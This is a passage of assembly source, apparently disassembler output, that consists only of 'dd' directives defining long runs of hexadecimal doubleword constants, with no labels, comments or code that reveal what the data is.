		dd 0AD039856h, 3AC892A0h, 757EF12Fh, 0FFE814E1h, 3D87008Dh
		dd 18F7F87Ch, 9C005F6Ch, 592F85EFh, 2E5112FBh, 0F6A91Ah
		dd 5F490BF5h, 0B900BA23h, 21D19A66h, 0F878A085h, 8C6313Ah
		dd 2053A220h, 58C08384h, 0F90E5299h, 0AF4700D7h, 8BE56E9Eh
		dd 0B49EDEF0h, 5560FE01h, 5A202375h, 8D9B5091h,	730303C7h
		dd 0DCC572CBh, 3DE7D2C0h, 7C61C000h, 873A1FFDh,	559AFC10h
		dd 9ECCCCBh, 0DBCA022Fh, 4D4057B5h, 0A9D8604Bh,	54073CACh
		dd 107D9A3Eh, 0EEA8CF00h, 6B0300F8h, 4AFA060Fh,	55E4CA0Ch
		dd 2C60CD00h, 6E020467h, 0DDB10083h, 2D9B09B9h,	0D713C070h
		dd 14C40B15h, 5C48E0h, 0E31106F0h, 3EBAD15Ah, 0F3ABC31Dh
		dd 69E7FEC0h, 91C57A6h,	0B501D32Ch, 90C47084h, 5F554620h
		dd 38FC9717h, 0FBB1D01h, 60F6BA0Dh, 0C2CAA08h, 3D54DCDEh
		dd 0B6008511h, 7F60B30Eh, 13F74E1Bh, 52DCE6h, 0DDC07A0Eh
		dd 44902B05h, 8899B900h, 0F6AC4571h, 61C91E4Eh,	0ED94C08Dh
		dd 0FB2E9B72h, 6E79D090h, 0A736E51Eh, 3D8A006Eh, 0B780A40Dh
		dd 0B1DD67DCh, 70C21ECDh, 499E4045h, 83A873Ch, 2F64D000h
		dd 444067C5h, 889A88h, 592BD925h, 6391447h, 0E57E8600h
		dd 0D4A13BC5h, 1EB80416h, 0C56890AAh, 15660395h, 6BF8CCECh
		dd 2800750Ah, 0C38086F4h, 9CF31C0Fh, 0B52343ACh, 0A080708Bh
		dd 7E00E82Ah, 6C56C83Bh, 0FA2032h, 0C9E9A8F7h, 50173F76h
		dd 0DC10F000h, 866D3B2Ah, 0AA40E3Ah, 1107F138h,	0CDC38E20h
		dd 0C9836AAh, 120015A3h, 0BAC3EE96h, 19BEF5h, 0B8D06753h
		dd 0FF32DB3Fh, 41556812h, 0ABF2A800h, 0F369E1h,	0BEB1DC22h
		dd 0CC1F26B0h, 915AE400h, 610DEFAh, 40ED5BD9h, 9D83B32Ch
		dd 0B70103BCh, 8CDA46F9h, 6C749290h, 6AF10E21h,	0DC20C935h
		dd 5FEE8EA1h, 5C2EE202h, 0C0637D9Bh, 3E84B5CFh,	74B367h
		dd 39F8F8Bh, 0EAC66BEFh, 86A1B600h, 7932251Eh, 0F89D0481h
		dd 0B0DA6959h, 0A3747FD4h, 8006098h, 0D4E499C5h, 0E4D2A660h
		dd 525B0097h, 34765D8Ah, 0C07F427h, 0A8138494h,	0D8BF7190h
		dd 64101DDCh, 2EC8B038h, 3900662Dh, 69D98E4Dh, 25262F73h
		dd 1C940EF9h, 9DDC7B41h, 9B3A00FDh, 0AA84B99Ah,	3D4B318Fh
		dd 81F12002h, 99CB0389h, 2C9C14C1h, 9A7B1F18h, 8DAB6C40h
		dd 3CD3F54Fh, 9F804AF6h, 0D8AC1154h, 927D74EEh,	0B92E3A0Fh
		dd 60FDC92Fh, 3D1DC04h,	154A7177h, 9103F644h, 0A2302689h
		dd 9659C021h, 60149654h, 6FFD9127h, 28EBF43Eh, 0CBF40CDCh
		dd 0D80950B9h, 37E780F9h, 3FC0224Bh, 24057F31h,	5490AEh
		dd 0FCA24CFCh, 7C00E85Ch, 3607DE9h, 50B40153h, 0D6DADCh
		dd 0B8E29718h, 87247EA4h, 9C8A4317h, 0BD6CC900h, 986AE9h
		dd 8C4112EEh, 8A2BACCEh, 1391F900h, 80679C02h, 0C5E03DDFh
		dd 0E9EC6680h, 43175B92h, 499D4700h, 0CA881930h, 0D77D0234h
		dd 0F8D2B754h, 377C80A3h
		dd 50BF7288h, 0ED045B7Dh, 8FA0D028h, 58D76300h,	2D0F0957h
		dd 6076B55Fh, 2CF6CA65h, 0A79B30B7h, 85E640D8h,	0BBA86D03h
		dd 17C52B7Ah, 1F671D18h, 743ACAF8h, 0EBFA809Ch,	0BCEAF637h
		dd 69C24E18h, 0D587A19h, 8BD17C36h, 0F213E811h,	0B2715101h
		dd 2097516h, 9DA3CBh, 0F22BBC21h, 4CAD361h, 0F46D0E00h
		dd 30F7BE93h, 0D69AFA1Ch, 12640390h, 697B68DDh,	0C19D5D00h
		dd 0A9E20DF6h, 0E8A572FDh, 2921C09Eh, 0C6669D14h, 0C9872C00h
		dd 0F1966360h, 0A7EC187Ch, 34E6D8BEh, 5260F67Dh, 8A3C3061h
		dd 2770C090h, 0B39925CDh, 0E4B7505h, 38C76CA7h,	4F792460h
		dd 45AC0720h, 0C05C2ACCh, 9BE596Bh, 0B2FD071Eh,	0A11CCFA4h
		dd 57CE6640h, 6F8F5284h, 43411CAh, 999807FEh, 7EC0CF2Bh
		dd 2507206h, 0C91ACB67h, 9840D548h, 1003CF9h, 62B6A499h
		dd 62457EA3h, 0C8AE297Dh, 129B6300h, 19983Fh, 798B4A0Eh
		dd 0D17BE799h, 3190F300h, 828102D0h, 0CFDF03E6h, 0CA012454h
		dd 78F415E0h, 0F5F38800h, 696FA318h, 0AB143BCCh, 0D1CDAEh
		dd 9B264A23h, 0A700B3BAh, 0F748D1AFh, 5C6264h, 1CF104D8h
		dd 7F4D9F8h, 66DEE20Ch,	1845874h, 56B83C19h, 4050C5F1h
		dd 7DAEE4CDh, 0DDD2750Eh, 4DE8C0EDh, 0F1402Fh, 200F4697h
		dd 0F6EF02B5h, 728B5000h, 1B5E44A4h, 31960055h,	86E1F49Ch
		dd 0A300D699h, 5866DC35h, 3F1706D0h, 758052AEh,	28B64779h
		dd 0EE004DE9h, 0CC93BA48h, 506309BFh, 0FF9B421h, 0D062A2BDh
		dd 700BD7A6h, 0A3DE4E04h, 0A808025h, 0F08BA58h,	30C089BBh
		dd 7DFFF500h, 3E7313C4h, 1CC2E2Ch, 0C961DD00h, 429DE2h
		dd 0DAAD12FAh, 0C67922EDh, 4AA54033h, 0BC63A0DCh, 363F4844h
		dd 33B40800h, 50077229h, 0A7EA1B00h, 0EE0AE484h, 0B66C011h
		dd 42D1A910h, 32E91500h, 99FAEF9h, 475D38ADh, 689E1Ch
		dd 18D3FD62h, 4000B25Ah, 70286BEEh, 0E805F65h, 0BBD6D8F4h
		dd 0FEE0007Ch, 0D2871868h, 0A7BD0400h, 4CB6AAE2h, 0EAA25049h
		dd 92450381h, 0E9D46A8h, 0DB1FE08Fh, 7A00D77Bh,	9E856D67h
		dd 246809D0h, 22B38Fh, 3ADB1B73h, 0C739B8E0h, 0ED6F8746h
		dd 52A0FE62h, 3A9603ABh, 2C8013A8h, 4245E91Eh, 6F0024DDh
		dd 0F440C854h, 250C5Ch,	209BBDC4h, 0B581B609h, 0F532D600h
		dd 0A27AE229h, 0E65A0060h, 0C27691B3h, 0C1007204h, 83C0F261h
		dd 2023A6h, 1F35FA67h, 0F59F07D9h, 0C33AAF00h, 54B5DAB3h
		dd 0EE1B7997h, 0DB2100A3h, 7B053EB6h, 16394F86h, 0D6DC8178h
		dd 0CC04DE90h, 0F00B25ECh, 0F1330035h, 0B7614B9Fh, 843FF4AFh
		dd 0B32080C0h, 1EC10166h, 57EB007Ah, 0C2BA0E60h, 76068940h
		dd 1A44FBF1h, 33D50060h, 2FA7480h, 5E3795B4h, 471128B8h
		dd 51C8F348h, 0ABA000FEh, 818D7D14h, 0AC030935h, 0E18B2A76h
		dd 30B000A4h, 0CEE0F397h, 9D00EC31h, 0B73B5B40h, 0A7D848h
		dd 0C82E9C4Fh, 0B3F679BBh, 94034D00h, 0D82BF831h, 558C4851h
		dd 0EE6C3200h, 0ACB9B85h, 0E1474A03h, 0A88B45E8h, 7F214CC7h
		dd 5B413956h, 0C07FA69Dh, 14B1F303h, 8D00D565h,	9336A373h
		dd 3EEEC3A0h, 0A100A6C1h, 5F977784h, 8600091Ch,	0DAEF10B3h
		dd 96A57Bh, 410A1B5Ah, 5D39D6E4h, 0C613E600h, 5031D46Fh
		dd 0AB0409FFh, 90009D61h, 1FB363Fh, 82B7D900h, 607AEBB3h
		dd 45960031h, 83C5CAFAh, 6E18486Dh, 2160C765h, 0A1AA006Bh
		dd 90797294h, 8D76BBA2h, 4200D798h, 7310DD05h, 30E5D429h
		dd 0B9193E91h, 6F00E4C8h, 38FADED5h, 1E1368B7h,	50DF86h
		dd 4162A75h, 7200EF84h,	0CD0F23E3h, 0AE6D2F2h, 7EC98D57h
		dd 3BDC00ACh, 0AB5B580Bh, 6C015900h, 0D312D420h, 0FCC901EEh
		dd 0AFBCDBE3h, 3403C081h, 80532B00h, 9F327A75h,	3E3001D8h
		dd 4CCECC85h, 0DA82D490h, 189D7D0Eh, 14D0C083h,	4B3A598h
		dd 0CA32EE54h, 2A049317h, 915EF200h, 0E3438DC3h, 0EF5000D8h
		dd 153B60C2h, 42398789h, 0C75D80BCh, 4823C5DEh,	2C8800C3h
		dd 52D66D3Bh, 0E37E8D55h, 85C1D817h, 1648F514h,	0BA01EA0Dh
		dd 0BDA8F82Dh, 17E937D1h, 0B120B547h, 90E0971Dh, 6BD848E4h
		dd 0C1FD050h, 0C3CEC4BEh, 520054E0h, 0CD15DA73h, 0D36E9Ah
		dd 6C2C4B1Eh, 0B7412976h, 9CAB7400h, 2DE7932Fh,	14200001h
		dd 9FF2DB83h, 405BC28h,	39E88A05h, 0ADC33580h, 1DCE725h
		dd 0E5D02CDDh, 9C870BCEh, 0F4C6F700h, 50003494h, 0F90AEB2Bh
		dd 0F86CABh, 383A2D07h,	0ED161221h, 0D9857000h,	0DB9891Fh
		dd 0F787003Ch, 576EA75Fh, 0C0011229h, 0EE26DD32h, 0E0C789B8h
		dd 1B6C5Bh, 8348EC97h, 8624A596h, 36613200h, 0DB413125h
		dd 0D3512EE3h, 200400D2h, 9E748588h, 0F4FB0A0Eh, 6C0BE0ABh
		dd 26382Ah, 7E43D1B5h, 0FFA8FEEDh, 67B4EE00h, 0B36C97E4h
		dd 6AB60076h, 1B7B5670h, 1C00E3C5h, 0A89BEC2Dh,	8D6775h
		dd 0A9CD217Fh, 657351CBh, 0C135BF00h, 0FC29BD84h, 80AC3CBBh
		dd 2FAD0F80h, 0AFE66D43h, 4F7AA400h, 0BE4A6E64h, 1D3E7D56h
		dd 146FE53h, 4C76CF2Fh,	0FBF080EBh, 9F37C48Fh, 558C0077h
		dd 0C16695DAh, 67073550h, 0C35AFCADh, 160F1C30h, 0A8411D33h
		dd 0E06640D1h, 814372EDh, 6618800h, 8EB2AD98h, 169C7176h
		dd 1EDFEEFBh, 0CEB23C40h, 0BD025D11h, 806D2795h, 3455E4DBh
		dd 419C5A05h, 0BBC7F77Bh, 0A370AD80h, 1A527C2Ah, 0B15BBE0Ch
		dd 73D41810h, 9E9D55Ch,	0FB4E303h, 0CDD024Ah, 0FD18A085h
		dd 0C324655h, 622AAD99h, 0D0A34A0h, 0FCFF4C37h,	0BC81729Fh
		dd 713AB7D2h, 0CA67DCh,	2F188AD3h, 3784DC9h, 7C810B03h
		dd 0E341D9E2h, 0F2A800F3h, 0AF29C919h, 0C11DC214h, 658078A1h
		dd 6CB5504Ch, 0A61600B0h, 0B131C0BCh, 20005592h, 8E3A698Fh
		dd 579B7Ch, 0E2F7F618h,	27AD0D59h, 6D37112Ch, 0C834CF00h
		dd 7DF405Ch, 304A53B4h,	422540F5h, 5A0DFB88h, 0C1D5D447h
		dd 0EB049FE2h, 10A94706h, 2ACF114h, 0A540080h, 77AE83AAh
		dd 0B97A00BDh, 0D413E358h, 0F119C8E4h, 0AE29FD5Eh, 7C44F208h
		dd 46D64547h, 0C24229E2h, 7E874111h, 0E94828A0h, 88C6B140h
		dd 293995DCh, 9AF40062h, 0B13B16C3h, 0A482165Ah, 0E6970E7Ch
		dd 0BA1789A3h, 45BBB6C8h, 0EE3A7B00h, 330E8EDh,	1DBD3914h
		dd 57FD0E7Eh, 7000D909h, 0F54E0725h, 8E907800h,	224F471h
		dd 25834CBAh, 0B141C001h, 0F12921DBh, 0D91DFCCDh, 250EDC72h
		dd 27F0A4D5h, 0E111CF07h, 0A450C561h, 0FC0528DFh, 0B1A900C8h
		dd 37CDDEA2h, 0D3005678h, 9FE0792Bh, 0FCC01F23h, 6EB600D2h
		dd 650FF5D4h, 3FE46A8Fh, 8D95982Ch, 9372AA00h, 1590490h
		dd 8A383CD2h, 5277FEC7h, 5CA07DD8h, 0DFB6FC3Eh,	7A2E151Fh
		dd 3BEC9380h, 829DADh, 0FE251923h, 0D21DCFEEh, 8976CC00h
		dd 0A1865652h, 38D80030h, 0F29B2F92h, 0B100670Eh, 4EB90741h
		dd 7E82DA0h, 7AE4CF17h,	4F3709Dh, 9B1B4CA4h, 0B8B080C4h
		dd 9BC66DEh, 2B01D2FEh,	91D98A80h, 0FC0EA678h, 20FB6009h
		dd 0BE4211ADh, 8469005Dh, 0C7A77A73h, 75F08974h, 536C1C01h
		dd 60A9720Ah, 8D9BE4h, 45AA66B4h, 9AB60E6Eh, 1479F4F7h
		dd 30B45150h, 9464C703h, 883F28AEh, 0B5B0DE8h, 7DB446FCh
		dd 0F50718Ah, 5C4E174Dh, 0C057DE1Dh, 3973B3DDh,	4600E225h
		dd 6402F9E1h, 0F2FA90h,	936C9D81h, 5C25DFD1h, 0A010C500h
		dd 0AC322992h, 0A8D7B8Eh, 812767CCh, 0E8B203E1h, 95E3B652h
		dd 0C9C46AD0h, 1305E600h
		dd 23F3D4FDh, 0E48400DAh, 12D2900Fh, 40A6D2Fh, 9CFE783Eh
		dd 35EB83Dh, 820C130Dh,	5F649FD3h, 0C7088E83h, 84B1AE20h
		dd 70B402A3h, 0DC583EBDh, 12420040h, 0A9989h, 0E6D70AC8h
		dd 704C2Bh, 475414EAh, 9233E4E7h, 79AA0703h, 0EF015181h
		dd 0AB3CF2E3h, 6630007Bh, 0B256B341h, 0E4079249h, 7FDA0D32h
		dd 4DF0E36Eh, 6296BAEh,	0E5202C00h, 54037036h, 0CAA96563h
		dd 818D822h, 1AEF1C06h,	0CDA040BEh, 34392D41h, 0C700F771h
		dd 0BF9412C4h, 382EAE69h, 109F83FFh, 420CC08Fh,	0D145BE56h
		dd 26337003h, 0B0A69F2Ch, 7D137Ch, 0EECAD9FDh, 0A9F7F119h
		dd 8CB72002h, 68460ABAh, 88ACF0h, 775476E8h, 2B379A91h
		dd 0EC0301Fh, 5768D780h, 79080BBh, 0DD27D448h, 0DF1FC093h
		dd 8B011C67h, 24E98488h, 70DC920Eh, 0FC7200B5h,	7CC4367Dh
		dd 0E40098C1h, 0A7CCC013h, 44C5FBh, 7A4B954h, 0C9BD0F52h
		dd 0FD0096E0h, 69D12DC4h, 0BC6440h, 91F0A82Fh, 7DA5902Bh
		dd 0DC2CB300h, 0D19D676Bh, 725AF6FAh, 36C509BFh, 0B200839Ch
		dd 449451B6h, 0F9C8E707h, 23E0D0A6h, 31FF330h, 4B7DA449h
		dd 20B728CAh, 770AA75Eh, 974D9926h, 41DA5807h, 11D24F20h
		dd 0F6177C6Dh, 0A082396Bh, 0A1C7D00h, 979B6A35h, 5D053000h
		dd 5EB65AA4h, 0A30E1C83h, 7FF640DDh, 0CC0AF289h, 0F7B3613h
		dd 3B747800h, 0B09FD1D0h, 10290150h, 0C3FE93F3h, 1A12EC86h
		dd 0A53A497Ah, 0FA95030Ch, 0C82B5B37h, 199F53Dh, 0C2010DF9h
		dd 0F036D66Ah, 4003A32h, 0BE19C4C3h, 2FF9E9h, 215AC045h
		dd 98657A3Bh, 0D8A8D000h, 9B52957Fh, 138B0103h,	33B20DC8h
		dd 7024DC90h, 0C35FB307h, 9A10C564h, 609FCB4Bh,	0C979F888h
		dd 0CE203E5h, 0E4FB4Ch,	1AE2614Fh, 0BC8EE4h, 0B54D51EEh
		dd 0ADDF8C71h, 82577900h, 2401413Ch, 810C004Eh,	2230FFA9h
		dd 0BC1F5365h, 9CC7CE19h, 5702F082h, 0EF9080DAh, 0BD51F56h
		dd 0ACBA06C3h, 0C95AF680h, 0C607CAB1h, 0DDBE6EF4h, 0C84FA6A0h
		dd 1E85E20Eh, 0C0064927h, 9817CE40h, 0AF00729Fh, 26BAD43Bh
		dd 5345F94h, 6D0F58E7h,	0A9CC80B9h, 2900B661h, 1EFCEBCBh
		dd 566E6ADh, 0CDB23A1h,	11B509E5h, 0BFB8E800h, 8548A84Ah
		dd 0F4037E3Ch, 8F6B2996h, 0C9369112h, 0F24BAAC8h, 8086007Ah
		dd 0A6D8AE87h, 0C2E9922h, 0FB00A5E3h, 0AB3DF2A4h, 36B00FFh
		dd 994A7712h, 450029B8h, 14E05BD0h, 5801D363h, 1500CA8Dh
		dd 0C24AAE10h, 2C007D3Ch, 0C7C950CAh, 0EC434FD9h, 0FB07C94h
		dd 18E493Bh, 0F06BF180h, 90029EEh, 0A0CCBA93h, 0FAAD6495h
		dd 0AA2F01ECh, 0A43AC81Dh, 0D84FFC56h, 18AA33Ch, 0B9CD047Ch
		dd 3420CA6Fh, 34E10027h, 3B4811AAh, 1E003CD3h, 0F206E13h
		dd 91C1809h, 0CA018798h, 396A80DFh, 40DDB9Bh, 163D6405h
		dd 31A4C059h, 0F500295Eh, 1252BF1Eh, 39F18819h,	1880F83Dh
		dd 40CCAF06h, 87740B2Dh, 4ED5101Fh, 0DAE1FD00h,	39647Ch
		dd 9B4AB581h, 0FFC3CF2Bh, 9465000h, 52DE8CA3h, 0FD055029h
		dd 0C5AC00F8h, 565F115Bh, 53EE2050h, 8054623Fh,	8CEF0368h
		dd 0A1E0C8h, 196344CCh,	237C7A46h, 350EB300h, 0CEC08943h
		dd 0EAA10FEEh, 0A3203327h, 0B362387Bh, 81DFE0Fh, 8C7AC03Ah
		dd 32E2291h, 9EE6A8A0h,	3BB82710h, 0A12641D7h, 3F0098F1h
		dd 0EB8A052Ah, 520F00B3h, 5781628Fh, 0A03867C6h, 0A6F00084h
		dd 68D03DCFh, 0E6441D3Ch, 0EE00BF29h, 922C7611h, 42E23B8Ah
		dd 27E46100h, 0C00771ABh, 7618006Bh, 30253633h,	1901D89Eh
		dd 0D6054AA4h, 0E06055F4h, 84A70010h, 0DF878EB5h, 0ED7CCB5Fh
		dd 96261C00h, 74A1A51Dh, 4F2F475h, 37603D5Ch, 53A9C0F7h
		dd 85001811h, 59CFE6F8h, 1C3F0422h, 6C21121Ah, 13113E0h
		dd 7924DE6Dh, 0C93DC863h, 0A58F7103h, 8127AB19h, 64F86DF4h
		dd 2DB50307h, 602993D2h, 0F08EDCB9h, 65031484h,	0AA06435h
		dd 1D3DB47h, 51906258h,	0D02B26B9h, 1300AF36h, 59AA0E56h
		dd 7E2EF97h, 25BC469Fh,	514071FAh, 6198DFC4h, 2D00F01Fh
		dd 0E86CA30Ch, 770F36F9h, 8528399Ch, 0A0888C28h, 2A9F60h
		dd 0C2D92BF2h, 0F7CDD1EFh, 8B301B16h, 0E949F422h, 28CCFF6Ch
		dd 2C631CEAh, 0C47C4934h, 3A604A0h, 4A59358Ch, 7AB81F08h
		dd 0E6010066h, 0B5BA721Bh, 9373E0h, 0F33112B3h,	2BDAC8D9h
		dd 520000B0h, 4FE8B756h, 82D3FBh, 3337A927h, 708E1BF9h
		dd 728CC700h, 0BC0604A3h, 1FDBF6DCh, 40F5757Dh,	6F8AA7AFh
		dd 3900F857h, 0B855F648h, 5842D4F0h, 2056BF9h, 0C0BD49AAh
		dd 3DDF622Eh, 0BEEE2616h, 501DDD01h, 0CCE87CDDh, 0BAFF008Ah
		dd 79101B1h, 4C002410h,	0A5E7EB02h, 5C6921h, 0B542B270h
		dd 970AD43Fh, 0DD16F725h, 0BE31B460h, 0F4613C05h, 0D580CA10h
		dd 11BF326h, 0FABAC766h, 0DC7694F9h, 4200078Fh,	41BEC016h
		dd 7F2E56h, 0FBB5E22Ch,	0B31E69A7h, 0C258FC7Eh,	0ECB6002Ch
		dd 0AFC5A2D1h, 7ECF008Eh, 5A3FC837h, 8800E8BBh,	0EBB4E597h
		dd 0A830B2h, 0FF4190EAh, 0F8BCF0F5h, 0C956E0C0h, 1351B754h
		dd 4D330E8h, 80A5F549h,	962CCDBFh, 46645817h, 37AB3605h
		dd 775DB400h, 7CBADE6h,	0B85F05D8h, 237510CDh, 0DC03F986h
		dd 850124EFh, 8219E8B1h, 0F1470064h, 3D23F8D5h,	161E9EDDh
		dd 0B1C078D2h, 0EFB38C5Ah, 3B2800ECh, 8E39B2C5h, 650060C4h
		dd 0D77F6B46h, 0EABDEDh, 0DBB5A868h, 0AE8D50B9h, 72B84400h
		dd 9CCEFF8Ch, 65740028h, 83AD929Bh, 0F60076ABh,	250DEEE7h
		dd 0E30181h, 0A828EDFFh, 831D8953h, 12EC454Eh, 0CD00E43Dh
		dd 397C824Dh, 0A7072F3Fh, 0D4DB2A6Eh, 0ED60A0BEh, 89F91Fh
		dd 0D57C0796h, 0E3F06C3Ah, 0BBC13500h, 53D31A98h, 0EF2D0004h
		dd 0CFB90848h, 7D014BCDh, 0BF70C815h, 90701A7Fh, 0C059ECA2h
		dd 258E3B90h, 2C004323h, 0A4396B9Eh, 1556753h, 79E4DFEEh
		dd 0C1239611h, 5D9FDCDCh, 753B8201h, 75FD051h, 421F1180h
		dd 5AE838EFh, 0C41A3500h, 0E4DE2251h, 0C6706A8Ch, 0F2AB908Ch
		dd 0C0E64347h, 7EABDFh,	0A240FB01h, 1FC7E763h, 40361830h
		dd 795ECC08h, 0A8B500A6h, 0C6C3C0F5h, 0D478C225h, 70830203h
		dd 0DB78751Ch, 0BA84B052h, 477CADh, 56B57B77h, 0DC0D35Bh
		dd 0CB584505h, 0E400B46Ch, 656120DCh, 0F69600C3h, 5DBF82E1h
		dd 0B16FF578h, 13D5C120h, 0EEC01D9Eh, 117D43h, 0FC2D73D9h
		dd 67D23412h, 0D6622718h, 0B0C6CBD0h, 0E26B003Bh, 6FBF7A9h
		dd 39486716h, 0A0030FC0h, 0D59E0062h, 0BFE81Fh,	0AC3AFFC2h
		dd 0E4B0D249h, 0C00082F8h, 78AF02Eh, 24D906h, 904AB183h
		dd 5D276CC4h, 213D6B30h, 0FC745CDh, 79E81C66h, 621FAD40h
		dd 0B3008F5Bh, 0D9A0AE15h, 6021C7D1h, 0CBE980A5h, 4100F9EAh
		dd 0D418B32Bh, 3FB252C5h, 47DCD7Bh, 2A13F54h, 57D2801Dh
		dd 39399C88h, 9600F0B2h, 6E5D792Ah, 0CF977Eh, 0A8672792h
		dd 60ADB87Dh, 0E022DB04h, 0B2C00FACh, 9930696h,	0C05BBD1Bh
		dd 5A540881h, 0B3FE43BAh, 4481C9CFh, 0E4EA18D3h, 0B103820Ch
		dd 3F79C1DCh, 7AF9A838h, 81C300BDh, 2CF0953Bh, 7D000DA2h
		dd 334BF388h, 1E635C1Ch, 3B7991h, 19D3DFD7h, 0ADE2F89Ch
		dd 0A0853E03h, 1B2E49h,	8EFC72F8h, 0A29771Eh, 0EEE5B004h
		dd 70D084DEh, 137ED0Fh,	0D0A25BB8h, 0EC4A3402h,	381C0C8Fh
		dd 780031C3h, 0E9A010Ah, 3FF007Dh, 6760C5CBh, 0D200AD2Ch
		dd 0F6873E06h, 0FCCA5Fh
		dd 0B7FE2836h, 595447CFh, 6B6E7D07h, 27F07F14h,	335DCEAh
		dd 57BF97A3h, 73D034A1h, 7BEA239Eh, 5F08B000h, 861B455Dh
		dd 92310F53h, 9880A4E6h, 0DBA88BEh, 9B6B8003h, 80B3BB28h
		dd 12C8D5h, 5A72F6E8h, 4F195E57h, 0BC8E8701h, 88062AEFh
		dd 1A55C0h, 5259B971h, 8987DEB5h, 9C4ECE00h, 745C3C62h
		dd 10F90E70h, 5BA03DEDh, 0F21A5F50h, 0C3F01E00h, 0E6E78FF6h
		dd 0A3A20027h, 0AE95CCC7h, 0B5E2EBEAh, 0DAC6FD1Eh, 171B1080h
		dd 0B8F54CAFh, 0D5D700C4h, 4D388366h, 94FEF263h, 0F18A1C00h
		dd 41AD3516h, 0B50A00F6h, 57B09322h, 30005C3Dh,	1EC14C02h
		dd 0CF9421h, 54904384h,	0FF1BF6B0h, 52F1331Eh, 94AF8B00h
		dd 75BEBF4h, 0B9816A1h,	868DB0B5h, 501EC3A2h, 9400F08Ah
		dd 0B37A43C1h, 736C7B09h, 31F60059h, 4B7706E4h,	0AF0073BDh
		dd 5A1F8F1Bh, 2C3AAEh, 61A32BF0h, 0D29054ECh, 927E9703h
		dd 0E06D432Dh, 5861387h, 0A2370F03h, 74CC017Dh,	0F683120Ah
		dd 43A98980h, 2C00E058h, 0A1188A1Fh, 0FECE07B6h, 407C0021h
		dd 0F22BBE79h, 0A00355FFh, 0D3C0E635h, 0E072BA24h, 1C1CA8Dh
		dd 8C2A04FDh, 0D057FC7Ch, 0E7241999h, 0F1800470h, 59A79CA1h
		dd 0A5941DDCh, 1831D69h, 2BD33392h, 3D288675h, 5A17CAAh
		dd 3E0AB4F9h, 600AC0FAh, 45007718h, 688A8714h, 0B69EF4h
		dd 19C09A31h, 0F1E0E8B8h, 0AF8C4600h, 9EB03D8Ah, 1CF390D4h
		dd 80C72533h, 0F4696D28h, 0FB0EC1A7h, 6119EBE9h, 489489DDh
		dd 633FF0h, 809DA986h, 98AF3B15h, 0DC51A507h, 7C402A1Fh
		dd 60DF6C97h, 16B3A178h, 5036FA5h, 3CF50ACCh, 0B018009Ch
		dd 0CE512267h, 0F721C861h, 0E8190A3Eh, 0ECFD4088h, 8E3A62FCh
		dd 8C5B02E4h, 82EB199Dh, 863DF710h, 350131Ch, 0C9B601D4h
		dd 71A0EBAAh, 440338E2h, 0B80B68ACh, 0E99F887Eh, 0D500085h
		dd 0D220B62Ch, 0E04CAE61h, 0EF0C02E4h, 87705BBBh, 0E6F06897h
		dd 1FEE88EAh, 0A330C3h,	0FEDED8C1h, 6BEC1C2Bh, 4C00827Bh
		dd 21BFDD7Ah, 0AD29F5h,	43976477h, 93C5EC0Fh, 0BD7F9500h
		dd 0DF263F49h, 0CB8C00EBh, 0F4414794h, 0E5EE711Dh, 0A0968400h
		dd 0D50AEDC8h, 92C001A5h, 7ACAD219h, 5DF1EC09h,	291CE800h
		dd 0A89EB165h, 2F2802D6h, 71C688AFh, 0C85488A1h, 0BC2C20DFh
		dd 0F42AFC19h, 2180A309h, 0F5DFBF34h, 61001E4Ch, 0CC79ACB1h
		dd 54060A28h, 1BFFA492h, 188C3C99h, 13810798h, 867E6601h
		dd 9F9863BEh, 61F82983h, 529AD7B6h, 6A19FC83h, 21900830h
		dd 1B6595Dh, 6E212A3Ch,	0C4B22EC3h, 61EA8DFFh, 5E187E12h
		dd 6D586819h, 0B6085F18h, 0C44261D1h, 575340CDh, 9CF4B6h
		dd 1DFA3A5Bh, 928C0D39h, 0F7F3E703h, 4731A99h, 1F8174F1h
		dd 0C19C9428h, 839AF34Fh, 0A12DB120h, 44380E67h, 0BB04C275h
		dd 3F1E0074h, 6A5963Ch,	3D9CDB21h, 22600831h, 3C24FC49h
		dd 25AF7290h, 2BD695D1h, 72C65806h, 0A0B10079h,	0FB8CD586h
		dd 0D810A5B8h, 1E00E023h, 823DDD19h, 627856B9h,	39CC6701h
		dd 9D54DB0h, 0DA2F908Fh, 85058C34h, 0E05690Fh, 0AE4067C0h
		dd 0C68306ACh, 0E259000h, 0F01FCF6h, 0ABE639h, 0D4D6655Fh
		dd 0E4C55904h, 6B0052FEh, 0A1660E75h, 99CE19h, 63E761BDh
		dd 1E9AA5D9h, 0FE50B7h,	5C38C1F2h, 0D13048FFh, 0E6700B7Ah
		dd 6562930Fh, 900E009Bh, 0CD412Eh, 57F7FA27h, 1AFF5230h
		dd 8A028D00h, 9992B1CBh, 5018C068h, 0EB7289CFh,	9BC7561Eh
		dd 4E1F8000h, 1DCDA7h, 0EA44D3D9h, 3BBD8BD2h, 0E00C660Ch
		dd 4850E7h, 821D6337h, 4C5B60EDh, 0E57E3E00h, 89B80679h
		dd 0B485011Bh, 514DC3EBh, 0F94880ECh, 6731ED7Fh, 193D035Ch
		dd 0E44EF5B5h, 77957EF0h, 9B0D3B07h, 89E0D18Ah,	3051FF71h
		dd 13A191CFh, 4915A746h, 18050B1h, 2D423AE1h, 0A98FF8D5h
		dd 1C61EC8Fh, 1099E0DFh, 0FA6B2293h, 0C9704Dh, 0CA67455Eh
		dd 0D5369CE7h, 93B13301h, 71523BF7h, 91E39043h,	5CD0D95Eh
		dd 0A072547Ah, 0D5193D68h, 0B6B054B0h, 0FC03C9CFh, 0A95156E8h
		dd 52901EDAh, 0BD0C8074h, 0C778DE6Eh, 0C0875D18h, 7FA0E368h
		dd 1ED91C9Bh, 0CAA84047h, 0FD8EB606h, 5F425100h, 1B1CB27Eh
		dd 28F51DC7h, 53D7C0B7h, 0C6CC0A55h, 31725C1Ch,	4082BAC1h
		dd 8EF04341h, 0C03CE0FFh, 354FBB18h, 0A318F47Ah, 5D206908h
		dd 22F000C2h, 0EC396E34h, 0F7077A36h, 2FC68A6Ah, 507B9080h
		dd 0BC3F0E38h, 27200574h, 47FC5AF5h, 0F6BA40C0h, 2E32DDA4h
		dd 6D1655Ch, 8970648Ch,	0CF5AAF00h, 0BB3FBCEEh,	0C0784Bh
		dd 833EC78Dh, 61DD4A02h, 0A40F1C00h, 0DBAAEEB8h, 0F6D42850h
		dd 379D00F6h, 0BA36A194h, 200F58Dh, 392BBFA5h, 8C120Fh
		dd 25E7F9F8h, 0B5712C4Dh, 0BAFA0B00h, 36D59017h, 0D1960069h
		dd 80F8FC59h, 0F41D47D9h, 2F003484h, 0F7095DB3h, 8D61037Ah
